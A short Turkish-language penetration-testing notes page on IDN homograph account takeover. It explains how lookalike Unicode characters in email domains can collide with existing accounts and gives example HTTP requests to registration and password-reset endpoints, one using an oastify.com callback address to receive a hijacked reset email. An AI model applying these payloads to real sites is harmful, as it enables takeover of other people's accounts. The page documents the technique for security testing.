IDN Homograph Attack

IDN Homograph Attack Nedir

  • IDN (Internationalized Domain Name) aslında uluslararası alan adlarını ifade eder. Yani sadece Latin harfleri (a–z) değil; farklı alfabelerdeki karakterlerin de (Türkçe, Çince, Arapça, Kiril, Yunanca gibi) domain isimlerinde kullanılabilmesine izin veren sistemdir.

  • Fakat bazı veritabanı sistemler bu özel karakterleri normal hallerinden ayırt edemez. Bu nedenle veritabanı ile email gönderme servisi arasında bir istikrarsızlık oluşur.

  • Bu zafiyet parola sıfırlama, kayıt olma, 2fa ve login işlemlerinde olabilir.

  • Genelde mysql veritabanları kullanan sitelerde zafiyet oluşur.

IDN Generator

IDN Account Takeover

  • Eğer punycode ile register olduğumuzda email zaten mevcut diyorsa sistem zafiyetli olabilir.

POST /register HTTP/2
email=admin@gmail.com&password=deneme123


POST /register HTTP/2
email=admin@gmàil.com&password=deneme123

Password Reset Account Takeover

  • Öncelikle bir hesap oluşturuyoruz.

  • Sonrasında punycode içeren halini kullanarak password reset isteği atıyoruz eğer password reset punycode içeren mail adresine gelirse zafiyet doğrulanır.

POST /register HTTP/2
email=admin@gmail.com.xxxxxxxxxxxx.oastify.com&password=deneme123


POST /password-reset HTTP/2
email=admin@gmàil.com.xxxxxxxxxxxx.oastify.com&password=deneme123

Last updated